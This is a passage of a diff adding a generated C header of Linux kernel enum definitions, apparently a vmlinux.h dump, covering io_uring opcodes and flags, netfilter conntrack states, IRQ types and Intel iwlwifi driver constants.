+ +enum io_uring_cmd_flags { + IO_URING_F_COMPLETE_DEFER = 1, + IO_URING_F_UNLOCKED = 2, + IO_URING_F_MULTISHOT = 4, + IO_URING_F_IOWQ = 8, + IO_URING_F_NONBLOCK = -2147483648, + IO_URING_F_SQE128 = 256, + IO_URING_F_CQE32 = 512, + IO_URING_F_IOPOLL = 1024, + IO_URING_F_CANCEL = 2048, + IO_URING_F_COMPAT = 4096, +}; + +enum io_uring_msg_ring_flags { + IORING_MSG_DATA = 0, + IORING_MSG_SEND_FD = 1, +}; + +enum io_uring_op { + IORING_OP_NOP = 0, + IORING_OP_READV = 1, + IORING_OP_WRITEV = 2, + IORING_OP_FSYNC = 3, + IORING_OP_READ_FIXED = 4, + IORING_OP_WRITE_FIXED = 5, + IORING_OP_POLL_ADD = 6, + IORING_OP_POLL_REMOVE = 7, + IORING_OP_SYNC_FILE_RANGE = 8, + IORING_OP_SENDMSG = 9, + IORING_OP_RECVMSG = 10, + IORING_OP_TIMEOUT = 11, + IORING_OP_TIMEOUT_REMOVE = 12, + IORING_OP_ACCEPT = 13, + IORING_OP_ASYNC_CANCEL = 14, + IORING_OP_LINK_TIMEOUT = 15, + IORING_OP_CONNECT = 16, + IORING_OP_FALLOCATE = 17, + IORING_OP_OPENAT = 18, + IORING_OP_CLOSE = 19, + IORING_OP_FILES_UPDATE = 20, + IORING_OP_STATX = 21, + IORING_OP_READ = 22, + IORING_OP_WRITE = 23, + IORING_OP_FADVISE = 24, + IORING_OP_MADVISE = 25, + IORING_OP_SEND = 26, + IORING_OP_RECV = 27, + IORING_OP_OPENAT2 = 28, + IORING_OP_EPOLL_CTL = 29, + IORING_OP_SPLICE = 30, + IORING_OP_PROVIDE_BUFFERS = 31, + IORING_OP_REMOVE_BUFFERS = 32, + IORING_OP_TEE = 33, + IORING_OP_SHUTDOWN = 34, + IORING_OP_RENAMEAT = 35, + IORING_OP_UNLINKAT = 36, + IORING_OP_MKDIRAT = 37, + IORING_OP_SYMLINKAT = 38, + IORING_OP_LINKAT = 39, + IORING_OP_MSG_RING = 40, + IORING_OP_FSETXATTR = 41, + IORING_OP_SETXATTR = 42, + IORING_OP_FGETXATTR = 43, + IORING_OP_GETXATTR = 44, + IORING_OP_SOCKET = 45, + IORING_OP_URING_CMD = 46, + IORING_OP_SEND_ZC = 47, + IORING_OP_SENDMSG_ZC = 48, + IORING_OP_READ_MULTISHOT = 49, + IORING_OP_WAITID = 50, + IORING_OP_FUTEX_WAIT = 51, + IORING_OP_FUTEX_WAKE = 52, + IORING_OP_FUTEX_WAITV = 53, + IORING_OP_FIXED_FD_INSTALL = 54, + IORING_OP_FTRUNCATE = 55, + IORING_OP_BIND = 56, + IORING_OP_LISTEN = 57, + IORING_OP_LAST = 58, +}; + +enum io_uring_register_op { + IORING_REGISTER_BUFFERS = 0, + IORING_UNREGISTER_BUFFERS = 1, + IORING_REGISTER_FILES = 2, + IORING_UNREGISTER_FILES = 3, + IORING_REGISTER_EVENTFD = 4, + IORING_UNREGISTER_EVENTFD = 5, + IORING_REGISTER_FILES_UPDATE = 6, + IORING_REGISTER_EVENTFD_ASYNC = 7, + IORING_REGISTER_PROBE = 8, + IORING_REGISTER_PERSONALITY = 9, + IORING_UNREGISTER_PERSONALITY = 10, + IORING_REGISTER_RESTRICTIONS = 11, + IORING_REGISTER_ENABLE_RINGS = 12, + IORING_REGISTER_FILES2 = 13, + IORING_REGISTER_FILES_UPDATE2 = 14, + IORING_REGISTER_BUFFERS2 = 15, + IORING_REGISTER_BUFFERS_UPDATE = 16, + IORING_REGISTER_IOWQ_AFF = 17, + IORING_UNREGISTER_IOWQ_AFF = 18, + IORING_REGISTER_IOWQ_MAX_WORKERS = 19, + IORING_REGISTER_RING_FDS = 20, + IORING_UNREGISTER_RING_FDS = 21, + IORING_REGISTER_PBUF_RING = 22, + IORING_UNREGISTER_PBUF_RING = 23, + IORING_REGISTER_SYNC_CANCEL = 24, + IORING_REGISTER_FILE_ALLOC_RANGE = 25, + IORING_REGISTER_PBUF_STATUS = 26, + IORING_REGISTER_NAPI = 27, + IORING_UNREGISTER_NAPI = 28, + IORING_REGISTER_CLOCK = 29, + IORING_REGISTER_CLONE_BUFFERS = 30, + IORING_REGISTER_LAST = 31, + IORING_REGISTER_USE_REGISTERED_RING = 2147483648, +}; + +enum io_uring_register_pbuf_ring_flags { + IOU_PBUF_RING_MMAP = 1, + IOU_PBUF_RING_INC = 2, +}; + +enum io_uring_register_restriction_op { + IORING_RESTRICTION_REGISTER_OP = 0, + IORING_RESTRICTION_SQE_OP = 1, + IORING_RESTRICTION_SQE_FLAGS_ALLOWED = 2, + IORING_RESTRICTION_SQE_FLAGS_REQUIRED = 3, + IORING_RESTRICTION_LAST = 4, +}; + +enum io_uring_socket_op { + SOCKET_URING_OP_SIOCINQ = 0, + SOCKET_URING_OP_SIOCOUTQ = 1, + SOCKET_URING_OP_GETSOCKOPT = 2, + SOCKET_URING_OP_SETSOCKOPT = 3, +}; + +enum io_uring_sqe_flags_bit { + IOSQE_FIXED_FILE_BIT = 0, + IOSQE_IO_DRAIN_BIT = 1, + IOSQE_IO_LINK_BIT = 2, + IOSQE_IO_HARDLINK_BIT = 3, + IOSQE_ASYNC_BIT = 4, + IOSQE_BUFFER_SELECT_BIT = 5, + IOSQE_CQE_SKIP_SUCCESS_BIT = 6, +}; + +enum io_wq_cancel { + IO_WQ_CANCEL_OK = 0, + IO_WQ_CANCEL_RUNNING = 1, + IO_WQ_CANCEL_NOTFOUND = 2, +}; + +enum ioam6_event_attr { + IOAM6_EVENT_ATTR_UNSPEC = 0, + IOAM6_EVENT_ATTR_TRACE_NAMESPACE = 1, + IOAM6_EVENT_ATTR_TRACE_NODELEN = 2, + IOAM6_EVENT_ATTR_TRACE_TYPE = 3, + IOAM6_EVENT_ATTR_TRACE_DATA = 4, + __IOAM6_EVENT_ATTR_MAX = 5, +}; + +enum ioam6_event_type { + IOAM6_EVENT_UNSPEC = 0, + IOAM6_EVENT_TRACE = 1, +}; + +enum ioapic_domain_type { + IOAPIC_DOMAIN_INVALID = 0, + IOAPIC_DOMAIN_LEGACY = 1, + IOAPIC_DOMAIN_STRICT = 2, + IOAPIC_DOMAIN_DYNAMIC = 3, +}; + +enum ioc_running { + IOC_IDLE = 0, + IOC_RUNNING = 1, + IOC_STOP = 2, +}; + +enum ip6_defrag_users { + IP6_DEFRAG_LOCAL_DELIVER = 0, + IP6_DEFRAG_CONNTRACK_IN = 1, + __IP6_DEFRAG_CONNTRACK_IN = 65536, + IP6_DEFRAG_CONNTRACK_OUT = 65537, + __IP6_DEFRAG_CONNTRACK_OUT = 131072, + IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 131073, + __IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 196608, +}; + +enum ip_conntrack_dir { + IP_CT_DIR_ORIGINAL = 0, + IP_CT_DIR_REPLY = 1, + IP_CT_DIR_MAX = 2, +}; + +enum ip_conntrack_events { + IPCT_NEW = 0, + IPCT_RELATED = 1, + IPCT_DESTROY = 2, + IPCT_REPLY = 3, + IPCT_ASSURED = 4, + IPCT_PROTOINFO = 5, + IPCT_HELPER = 6, + IPCT_MARK = 7, + IPCT_SEQADJ = 8, + IPCT_NATSEQADJ = 8, + IPCT_SECMARK = 9, + IPCT_LABEL = 10, + IPCT_SYNPROXY = 11, + __IPCT_MAX = 12, +}; + +enum ip_conntrack_expect_events { + IPEXP_NEW = 0, + IPEXP_DESTROY = 1, +}; + +enum ip_conntrack_info { + IP_CT_ESTABLISHED = 0, + IP_CT_RELATED = 1, + IP_CT_NEW = 2, + IP_CT_IS_REPLY = 3, + IP_CT_ESTABLISHED_REPLY = 3, + IP_CT_RELATED_REPLY = 4, + IP_CT_NUMBER = 5, + IP_CT_UNTRACKED = 7, +}; + +enum ip_conntrack_status { + IPS_EXPECTED_BIT = 0, + IPS_EXPECTED = 1, + IPS_SEEN_REPLY_BIT = 1, + IPS_SEEN_REPLY = 2, + IPS_ASSURED_BIT = 2, + IPS_ASSURED = 4, + IPS_CONFIRMED_BIT = 3, + IPS_CONFIRMED = 8, + IPS_SRC_NAT_BIT = 4, + IPS_SRC_NAT = 16, + IPS_DST_NAT_BIT = 5, + IPS_DST_NAT = 32, + IPS_NAT_MASK = 48, + IPS_SEQ_ADJUST_BIT = 6, + IPS_SEQ_ADJUST = 64, + IPS_SRC_NAT_DONE_BIT = 7, + IPS_SRC_NAT_DONE = 128, + IPS_DST_NAT_DONE_BIT = 8, + IPS_DST_NAT_DONE = 256, + IPS_NAT_DONE_MASK = 384, + IPS_DYING_BIT = 9, + IPS_DYING = 512, + IPS_FIXED_TIMEOUT_BIT = 10, + IPS_FIXED_TIMEOUT = 1024, + IPS_TEMPLATE_BIT = 11, + IPS_TEMPLATE = 2048, + IPS_UNTRACKED_BIT = 12, + IPS_UNTRACKED = 4096, + IPS_NAT_CLASH_BIT = 12, + IPS_NAT_CLASH = 4096, + IPS_HELPER_BIT = 13, + IPS_HELPER = 8192, + IPS_OFFLOAD_BIT = 14, + IPS_OFFLOAD = 16384, + IPS_HW_OFFLOAD_BIT = 15, + IPS_HW_OFFLOAD = 32768, + IPS_UNCHANGEABLE_MASK = 56313, + __IPS_MAX_BIT = 16, +}; + +enum ip_defrag_users { + IP_DEFRAG_LOCAL_DELIVER = 0, + IP_DEFRAG_CALL_RA_CHAIN = 1, + IP_DEFRAG_CONNTRACK_IN = 2, + __IP_DEFRAG_CONNTRACK_IN_END = 65537, + IP_DEFRAG_CONNTRACK_OUT = 65538, + __IP_DEFRAG_CONNTRACK_OUT_END = 131073, + IP_DEFRAG_CONNTRACK_BRIDGE_IN = 131074, + __IP_DEFRAG_CONNTRACK_BRIDGE_IN = 196609, + IP_DEFRAG_VS_IN = 196610, + IP_DEFRAG_VS_OUT = 196611, + IP_DEFRAG_VS_FWD = 196612, + IP_DEFRAG_AF_PACKET = 196613, + IP_DEFRAG_MACVLAN = 196614, +}; + +enum ipt_reject_with { + IPT_ICMP_NET_UNREACHABLE = 0, + IPT_ICMP_HOST_UNREACHABLE = 1, + IPT_ICMP_PROT_UNREACHABLE = 2, + IPT_ICMP_PORT_UNREACHABLE = 3, + IPT_ICMP_ECHOREPLY = 4, + IPT_ICMP_NET_PROHIBITED = 5, + IPT_ICMP_HOST_PROHIBITED = 6, + IPT_TCP_RESET = 7, + IPT_ICMP_ADMIN_PROHIBITED = 8, +}; + +enum irq_alloc_type { + X86_IRQ_ALLOC_TYPE_IOAPIC = 1, + X86_IRQ_ALLOC_TYPE_HPET = 2, + X86_IRQ_ALLOC_TYPE_PCI_MSI = 3, + X86_IRQ_ALLOC_TYPE_PCI_MSIX = 4, + X86_IRQ_ALLOC_TYPE_DMAR = 5, + X86_IRQ_ALLOC_TYPE_AMDVI = 6, + X86_IRQ_ALLOC_TYPE_UV = 7, +}; + +enum irq_domain_bus_token { + DOMAIN_BUS_ANY = 0, + DOMAIN_BUS_WIRED = 1, + DOMAIN_BUS_GENERIC_MSI = 2, + DOMAIN_BUS_PCI_MSI = 3, + DOMAIN_BUS_PLATFORM_MSI = 4, + DOMAIN_BUS_NEXUS = 5, + DOMAIN_BUS_IPI = 6, + DOMAIN_BUS_FSL_MC_MSI = 7, + DOMAIN_BUS_TI_SCI_INTA_MSI = 8, + DOMAIN_BUS_WAKEUP = 9, + DOMAIN_BUS_VMD_MSI = 10, + DOMAIN_BUS_PCI_DEVICE_MSI = 11, + DOMAIN_BUS_PCI_DEVICE_MSIX = 12, + DOMAIN_BUS_DMAR = 13, + DOMAIN_BUS_AMDVI = 14, + DOMAIN_BUS_DEVICE_MSI = 15, + DOMAIN_BUS_WIRED_TO_MSI = 16, +}; + +enum irq_gc_flags { + IRQ_GC_INIT_MASK_CACHE = 1, + IRQ_GC_INIT_NESTED_LOCK = 2, + IRQ_GC_MASK_CACHE_PER_TYPE = 4, + IRQ_GC_NO_MASK = 8, + IRQ_GC_BE_IO = 16, +}; + +enum irqchip_irq_state { + IRQCHIP_STATE_PENDING = 0, + IRQCHIP_STATE_ACTIVE = 1, + IRQCHIP_STATE_MASKED = 2, + IRQCHIP_STATE_LINE_LEVEL = 3, +}; + +enum irqreturn { + IRQ_NONE = 0, + IRQ_HANDLED = 1, + IRQ_WAKE_THREAD = 2, +}; + +typedef enum irqreturn irqreturn_t; + +enum isofs_file_format { + isofs_file_normal = 0, + isofs_file_sparse = 1, + isofs_file_compressed = 2, +}; + +enum iter_type { + ITER_UBUF = 0, + ITER_IOVEC = 1, + ITER_BVEC = 2, + ITER_KVEC = 3, + ITER_FOLIOQ = 4, + ITER_XARRAY = 5, + ITER_DISCARD = 6, +}; + +enum iwl_6ghz_ap_type { + IWL_6GHZ_AP_TYPE_LPI = 0, + IWL_6GHZ_AP_TYPE_SP = 1, + IWL_6GHZ_AP_TYPE_VLP = 2, +}; + +enum iwl_ac { + AC_BK = 0, + AC_BE = 1, + AC_VI = 2, + AC_VO = 3, + AC_NUM = 4, +}; + +enum iwl_agg_state { + IWL_AGG_OFF = 0, + IWL_AGG_STARTING = 1, + IWL_AGG_ON = 2, + IWL_EMPTYING_HW_QUEUE_ADDBA = 3, + IWL_EMPTYING_HW_QUEUE_DELBA = 4, +}; + +enum iwl_amsdu_size { + IWL_AMSDU_DEF = 0, + IWL_AMSDU_4K = 1, + IWL_AMSDU_8K = 2, + IWL_AMSDU_12K = 3, + IWL_AMSDU_2K = 4, +}; + +enum iwl_antenna_ok { + IWL_ANT_OK_NONE = 0, + IWL_ANT_OK_SINGLE = 1, + IWL_ANT_OK_MULTI = 2, +}; + +enum iwl_bar_frame_release_ba_info { + IWL_BAR_FRAME_RELEASE_NSSN_MASK = 4095, + IWL_BAR_FRAME_RELEASE_SN_MASK = 16773120, + IWL_BAR_FRAME_RELEASE_BAID_MASK = 1056964608, +}; + +enum iwl_bar_frame_release_sta_tid { + IWL_BAR_FRAME_RELEASE_TID_MASK = 15, + IWL_BAR_FRAME_RELEASE_STA_MASK = 496, +}; + +enum iwl_bt_activity_grading { + BT_OFF = 0, + BT_ON_NO_CONNECTION = 1, + BT_LOW_TRAFFIC = 2, + BT_HIGH_TRAFFIC = 3, + BT_VERY_HIGH_TRAFFIC = 4, + BT_MAX_AG = 5, +}; + +enum iwl_bt_coex_enabled_modules { + BT_COEX_MPLUT_ENABLED = 1, + BT_COEX_MPLUT_BOOST_ENABLED = 2, + BT_COEX_SYNC2SCO_ENABLED = 4, + BT_COEX_CORUN_ENABLED = 8, + BT_COEX_HIGH_BAND_RET = 16, +}; + +enum iwl_bt_coex_lut_type { + BT_COEX_TIGHT_LUT = 0, + BT_COEX_LOOSE_LUT = 1, + BT_COEX_TX_DIS_LUT = 2, + BT_COEX_MAX_LUT = 3, + BT_COEX_INVALID_LUT = 255, +}; + +enum iwl_bt_coex_mode { + BT_COEX_DISABLE = 0, + BT_COEX_NW = 1, + BT_COEX_BT = 2, + BT_COEX_WIFI = 3, +}; + +enum iwl_bt_coex_profile_traffic_load { + IWL_BT_COEX_TRAFFIC_LOAD_NONE = 0, + IWL_BT_COEX_TRAFFIC_LOAD_LOW = 1, + IWL_BT_COEX_TRAFFIC_LOAD_HIGH = 2, + IWL_BT_COEX_TRAFFIC_LOAD_CONTINUOUS = 3, +}; + +enum iwl_bt_coex_subcmd_ids { + PROFILE_NOTIF = 255, +}; + +enum iwl_bt_force_ant_mode { + BT_FORCE_ANT_DIS = 0, + BT_FORCE_ANT_AUTO = 1, + BT_FORCE_ANT_BT = 2, + BT_FORCE_ANT_WIFI = 3, + BT_FORCE_ANT_MAX = 4, +}; + +enum iwl_bt_kill_idx { + IWL_BT_KILL_DEFAULT = 0, + IWL_BT_KILL_OVERRIDE = 1, + IWL_BT_KILL_REDUCE = 2, +}; + +enum iwl_cfg_trans_ltr_delay { + IWL_CFG_TRANS_LTR_DELAY_NONE = 0, + IWL_CFG_TRANS_LTR_DELAY_200US = 1, + IWL_CFG_TRANS_LTR_DELAY_2500US = 2, + IWL_CFG_TRANS_LTR_DELAY_1820US = 3, +}; + +enum iwl_channel_flags { + IWL_CHANNEL_FLAG_EBS = 1, + IWL_CHANNEL_FLAG_ACCURATE_EBS = 2, + IWL_CHANNEL_FLAG_EBS_ADD = 4, + IWL_CHANNEL_FLAG_PRE_SCAN_PASSIVE2ACTIVE = 8, +}; + +enum iwl_context_info_flags { + IWL_CTXT_INFO_AUTO_FUNC_INIT = 1, + IWL_CTXT_INFO_EARLY_DEBUG = 2, + IWL_CTXT_INFO_ENABLE_CDMP = 4, + IWL_CTXT_INFO_RB_CB_SIZE = 240, + IWL_CTXT_INFO_TFD_FORMAT_LONG = 256, + IWL_CTXT_INFO_RB_SIZE = 7680, + IWL_CTXT_INFO_RB_SIZE_1K = 1, + IWL_CTXT_INFO_RB_SIZE_2K = 2, + IWL_CTXT_INFO_RB_SIZE_4K = 4, + IWL_CTXT_INFO_RB_SIZE_8K = 8, + IWL_CTXT_INFO_RB_SIZE_12K = 9, + IWL_CTXT_INFO_RB_SIZE_16K = 10, + IWL_CTXT_INFO_RB_SIZE_20K = 11, + IWL_CTXT_INFO_RB_SIZE_24K = 12, + IWL_CTXT_INFO_RB_SIZE_28K = 13, + IWL_CTXT_INFO_RB_SIZE_32K = 14, +}; + +enum iwl_ctxt_action { + FW_CTXT_ACTION_INVALID = 0, + FW_CTXT_ACTION_ADD = 1, + FW_CTXT_ACTION_MODIFY = 2, + FW_CTXT_ACTION_REMOVE = 3, +}; + +enum iwl_ctxt_id_and_color { + FW_CTXT_ID_POS = 0, + FW_CTXT_ID_MSK = 255, + FW_CTXT_COLOR_POS = 8, + FW_CTXT_COLOR_MSK = 65280, + FW_CTXT_INVALID = 4294967295, +}; + +enum iwl_d0i3_flags { + IWL_D0I3_RESET_REQUIRE = 1, +}; + +enum iwl_d3_notif { + IWL_D3_NOTIF_WOWLAN_INFO = 1, + IWL_D3_NOTIF_WOWLAN_WAKE_PKT = 2, + IWL_D3_NOTIF_PROT_OFFLOAD = 4, + IWL_D3_ND_MATCH_INFO = 8, + IWL_D3_NOTIF_D3_END_NOTIF = 16, +}; + +enum iwl_d3_status { + IWL_D3_STATUS_ALIVE = 0, + IWL_D3_STATUS_RESET = 1, +}; + +enum iwl_data_path_subcmd_ids { + DQA_ENABLE_CMD = 0, + UPDATE_MU_GROUPS_CMD = 1, + TRIGGER_RX_QUEUES_NOTIF_CMD = 2, + WNM_PLATFORM_PTM_REQUEST_CMD = 3, + WNM_80211V_TIMING_MEASUREMENT_CONFIG_CMD = 4, + STA_HE_CTXT_CMD = 7, + RLC_CONFIG_CMD = 8, + RFH_QUEUE_CONFIG_CMD = 13, + TLC_MNG_CONFIG_CMD = 15, + HE_AIR_SNIFFER_CONFIG_CMD = 19, + CHEST_COLLECTOR_FILTER_CONFIG_CMD = 20, + RX_BAID_ALLOCATION_CONFIG_CMD = 22, + SCD_QUEUE_CONFIG_CMD = 23, + SEC_KEY_CMD = 24, + ESR_MODE_NOTIF = 243, + MONITOR_NOTIF = 244, + RX_NO_DATA_NOTIF = 245, + THERMAL_DUAL_CHAIN_REQUEST = 246, + TLC_MNG_UPDATE_NOTIF = 247, + STA_PM_NOTIF = 253, + MU_GROUP_MGMT_NOTIF = 254, + RX_QUEUES_NOTIFICATION = 255, +}; + +enum iwl_datapath_monitor_notif_type { + IWL_DP_MON_NOTIF_TYPE_EXT_CCA = 0, +}; + +enum iwl_dbg_suspend_resume_cmds { + DBGC_RESUME_CMD = 0, + DBGC_SUSPEND_CMD = 1, +}; + +enum iwl_debug_cmds { + LMAC_RD_WR = 0, + UMAC_RD_WR = 1, + HOST_EVENT_CFG = 3, + INVALID_WR_PTR_CMD = 6, + DBGC_SUSPEND_RESUME = 7, + BUFFER_ALLOCATION = 8, + GET_TAS_STATUS = 10, + FW_DUMP_COMPLETE_CMD = 11, + FW_CLEAR_BUFFER = 13, + MFU_ASSERT_DUMP_NTF = 254, +}; + +enum iwl_dev_tx_power_cmd_mode { + IWL_TX_POWER_MODE_SET_MAC = 0, + IWL_TX_POWER_MODE_SET_DEVICE = 1, + IWL_TX_POWER_MODE_SET_CHAINS = 2, + IWL_TX_POWER_MODE_SET_ACK = 3, + IWL_TX_POWER_MODE_SET_SAR_TIMER = 4, + IWL_TX_POWER_MODE_SET_SAR_TIMER_DEFAULT_TABLE = 5, +}; + +enum iwl_device_family { + IWL_DEVICE_FAMILY_UNDEFINED = 0, + IWL_DEVICE_FAMILY_1000 = 1, + IWL_DEVICE_FAMILY_100 = 2, + IWL_DEVICE_FAMILY_2000 = 3, + IWL_DEVICE_FAMILY_2030 = 4, + IWL_DEVICE_FAMILY_105 = 5, + IWL_DEVICE_FAMILY_135 = 6, + IWL_DEVICE_FAMILY_5000 = 7, + IWL_DEVICE_FAMILY_5150 = 8, + IWL_DEVICE_FAMILY_6000 = 9, + IWL_DEVICE_FAMILY_6000i = 10, + IWL_DEVICE_FAMILY_6005 = 11, + IWL_DEVICE_FAMILY_6030 = 12, + IWL_DEVICE_FAMILY_6050 = 13, + IWL_DEVICE_FAMILY_6150 = 14, + IWL_DEVICE_FAMILY_7000 = 15, + IWL_DEVICE_FAMILY_8000 = 16, + IWL_DEVICE_FAMILY_9000 = 17, + IWL_DEVICE_FAMILY_22000 = 18, + IWL_DEVICE_FAMILY_AX210 = 19, + IWL_DEVICE_FAMILY_BZ = 20, + IWL_DEVICE_FAMILY_SC = 21, +}; + +enum iwl_device_power_flags { + DEVICE_POWER_FLAGS_POWER_SAVE_ENA_MSK = 1, + DEVICE_POWER_FLAGS_ALLOW_MEM_RETENTION_MSK = 2, + DEVICE_POWER_FLAGS_NO_SLEEP_TILL_D3_MSK = 128, + DEVICE_POWER_FLAGS_32K_CLK_VALID_MSK = 4096, +}; + +enum iwl_disable_11n { + IWL_DISABLE_HT_ALL = 1, + IWL_DISABLE_HT_TXAGG = 2, + IWL_DISABLE_HT_RXAGG = 4, + IWL_ENABLE_HT_TXAGG = 8, +}; + +enum iwl_dsm_funcs { + DSM_FUNC_QUERY = 0, + DSM_FUNC_DISABLE_SRD = 1, + DSM_FUNC_ENABLE_INDONESIA_5G2 = 2, + DSM_FUNC_ENABLE_6E = 3, + DSM_FUNC_REGULATORY_CONFIG = 4, + DSM_FUNC_11AX_ENABLEMENT = 6, + DSM_FUNC_ENABLE_UNII4_CHAN = 7, + DSM_FUNC_ACTIVATE_CHANNEL = 8, + DSM_FUNC_FORCE_DISABLE_CHANNELS = 9, + DSM_FUNC_ENERGY_DETECTION_THRESHOLD = 10, + DSM_FUNC_RFI_CONFIG = 11, + DSM_FUNC_ENABLE_11BE = 12, + DSM_FUNC_NUM_FUNCS = 13, +}; + +enum iwl_dsm_masks_reg { + DSM_MASK_CHINA_22_REG = 4, +}; + +enum iwl_dsm_unii4_bitmap { + DSM_VALUE_UNII4_US_OVERRIDE_MSK = 1, + DSM_VALUE_UNII4_US_EN_MSK = 2, + DSM_VALUE_UNII4_ETSI_OVERRIDE_MSK = 4, + DSM_VALUE_UNII4_ETSI_EN_MSK = 8, + DSM_VALUE_UNII4_CANADA_OVERRIDE_MSK = 16, + DSM_VALUE_UNII4_CANADA_EN_MSK = 32, +}; + +enum iwl_dsm_values_indonesia { + DSM_VALUE_INDONESIA_DISABLE = 0, + DSM_VALUE_INDONESIA_ENABLE = 1, + DSM_VALUE_INDONESIA_RESERVED = 2, + DSM_VALUE_INDONESIA_MAX = 3, +}; + +enum iwl_dsm_values_rfi { + DSM_VALUE_RFI_DLVR_DISABLE = 1, + DSM_VALUE_RFI_DDR_DISABLE = 2, +}; + +enum iwl_dsm_values_srd { + DSM_VALUE_SRD_ACTIVE = 0, + DSM_VALUE_SRD_PASSIVE = 1, + DSM_VALUE_SRD_DISABLE = 2, + DSM_VALUE_SRD_MAX = 3, +}; + +enum iwl_dump_control { + DUMP_TX_FIFO_FLUSH = 2, +}; + +enum iwl_eeprom_channel_flags { + EEPROM_CHANNEL_VALID = 1, + EEPROM_CHANNEL_IBSS = 2, + EEPROM_CHANNEL_ACTIVE = 8, + EEPROM_CHANNEL_RADAR = 16, + EEPROM_CHANNEL_WIDE = 32, + EEPROM_CHANNEL_DFS = 128, +}; + +enum iwl_eeprom_enhanced_txpwr_flags { + IWL_EEPROM_ENH_TXP_FL_VALID = 1, + IWL_EEPROM_ENH_TXP_FL_BAND_52G = 2, + IWL_EEPROM_ENH_TXP_FL_OFDM = 4, + IWL_EEPROM_ENH_TXP_FL_40MHZ = 8, + IWL_EEPROM_ENH_TXP_FL_HT_AP = 16, + IWL_EEPROM_ENH_TXP_FL_RES1 = 32, + IWL_EEPROM_ENH_TXP_FL_RES2 = 64, + IWL_EEPROM_ENH_TXP_FL_COMMON_TYPE = 128, +}; + +enum iwl_err_mode { + IWL_ERR_MODE_REGULAR = 0, + IWL_ERR_MODE_RFKILL = 1, + IWL_ERR_MODE_TRACE_ONLY = 2, + IWL_ERR_MODE_RATELIMIT = 3, +}; + +enum iwl_error_event_table_status { + IWL_ERROR_EVENT_TABLE_LMAC1 = 1, + IWL_ERROR_EVENT_TABLE_LMAC2 = 2, + IWL_ERROR_EVENT_TABLE_UMAC = 4, + IWL_ERROR_EVENT_TABLE_TCM1 = 8, + IWL_ERROR_EVENT_TABLE_TCM2 = 16, + IWL_ERROR_EVENT_TABLE_RCM1 = 32, + IWL_ERROR_EVENT_TABLE_RCM2 = 64, +}; + +enum iwl_error_recovery_flags { + ERROR_RECOVERY_UPDATE_DB = 1, + ERROR_RECOVERY_END_OF_RECOVERY = 2, +}; + +enum iwl_extended_cfg_flags { + IWL_INIT_DEBUG_CFG = 0, + IWL_INIT_NVM = 1, + IWL_INIT_PHY = 2, +}; + +enum iwl_fw_dbg_monitor_mode { + SMEM_MODE = 0, + EXTERNAL_MODE = 1, + MARBH_MODE = 2, + MIPI_MODE = 3, +}; + +enum iwl_fw_dbg_reg_operator { + CSR_ASSIGN = 0, + CSR_SETBIT = 1, + CSR_CLEARBIT = 2, + PRPH_ASSIGN = 3, + PRPH_SETBIT = 4, + PRPH_CLEARBIT = 5, + INDIRECT_ASSIGN = 6, + INDIRECT_SETBIT = 7, + INDIRECT_CLEARBIT = 8, + PRPH_BLOCKBIT = 9, +}; + +enum iwl_fw_dbg_trigger { + FW_DBG_TRIGGER_INVALID = 0, + FW_DBG_TRIGGER_USER = 1, + FW_DBG_TRIGGER_FW_ASSERT = 2, + FW_DBG_TRIGGER_MISSED_BEACONS = 3, + FW_DBG_TRIGGER_CHANNEL_SWITCH = 4, + FW_DBG_TRIGGER_FW_NOTIF = 5, + FW_DBG_TRIGGER_MLME = 6, + FW_DBG_TRIGGER_STATS = 7, + FW_DBG_TRIGGER_RSSI = 8, + FW_DBG_TRIGGER_TXQ_TIMERS = 9, + FW_DBG_TRIGGER_TIME_EVENT = 10, + FW_DBG_TRIGGER_BA = 11, + FW_DBG_TRIGGER_TX_LATENCY = 12, + FW_DBG_TRIGGER_TDLS = 13, + FW_DBG_TRIGGER_TX_STATUS = 14, + FW_DBG_TRIGGER_ALIVE_TIMEOUT = 15, + FW_DBG_TRIGGER_DRIVER = 16, + FW_DBG_TRIGGER_MAX = 17, +}; + +enum iwl_fw_dbg_trigger_flags { + IWL_FW_DBG_FORCE_RESTART = 1, +}; + +enum iwl_fw_dbg_trigger_mode { + IWL_FW_DBG_TRIGGER_START = 1, + IWL_FW_DBG_TRIGGER_STOP = 2, + IWL_FW_DBG_TRIGGER_MONITOR_ONLY = 4, +}; + +enum iwl_fw_dbg_trigger_vif_type { + IWL_FW_DBG_CONF_VIF_ANY = 0, + IWL_FW_DBG_CONF_VIF_IBSS = 1, + IWL_FW_DBG_CONF_VIF_STATION = 2, + IWL_FW_DBG_CONF_VIF_AP = 3, + IWL_FW_DBG_CONF_VIF_P2P_CLIENT = 8, + IWL_FW_DBG_CONF_VIF_P2P_GO = 9, + IWL_FW_DBG_CONF_VIF_P2P_DEVICE = 10, +}; + +enum iwl_fw_error_dump_mem_type { + IWL_FW_ERROR_DUMP_MEM_SRAM = 0, + IWL_FW_ERROR_DUMP_MEM_SMEM = 1, + IWL_FW_ERROR_DUMP_MEM_NAMED_MEM = 10, +}; + +enum iwl_fw_error_dump_type { + IWL_FW_ERROR_DUMP_CSR = 1, + IWL_FW_ERROR_DUMP_RXF = 2, + IWL_FW_ERROR_DUMP_TXCMD = 3, + IWL_FW_ERROR_DUMP_DEV_FW_INFO = 4, + IWL_FW_ERROR_DUMP_FW_MONITOR = 5, + IWL_FW_ERROR_DUMP_PRPH = 6, + IWL_FW_ERROR_DUMP_TXF = 7, + IWL_FW_ERROR_DUMP_FH_REGS = 8, + IWL_FW_ERROR_DUMP_MEM = 9, + IWL_FW_ERROR_DUMP_ERROR_INFO = 10, + IWL_FW_ERROR_DUMP_RB = 11, + IWL_FW_ERROR_DUMP_PAGING = 12, + IWL_FW_ERROR_DUMP_RADIO_REG = 13, + IWL_FW_ERROR_DUMP_INTERNAL_TXF = 14, + IWL_FW_ERROR_DUMP_EXTERNAL = 15, + IWL_FW_ERROR_DUMP_MEM_CFG = 16, + IWL_FW_ERROR_DUMP_D3_DEBUG_DATA = 17, +}; + +enum iwl_fw_ini_allocation_id { + IWL_FW_INI_ALLOCATION_INVALID = 0, + IWL_FW_INI_ALLOCATION_ID_DBGC1 = 1, + IWL_FW_INI_ALLOCATION_ID_DBGC2 = 2, + IWL_FW_INI_ALLOCATION_ID_DBGC3 = 3, + IWL_FW_INI_ALLOCATION_ID_DBGC4 = 4, + IWL_FW_INI_ALLOCATION_NUM = 5, +}; + +enum iwl_fw_ini_buffer_location { + IWL_FW_INI_LOCATION_INVALID = 0, + 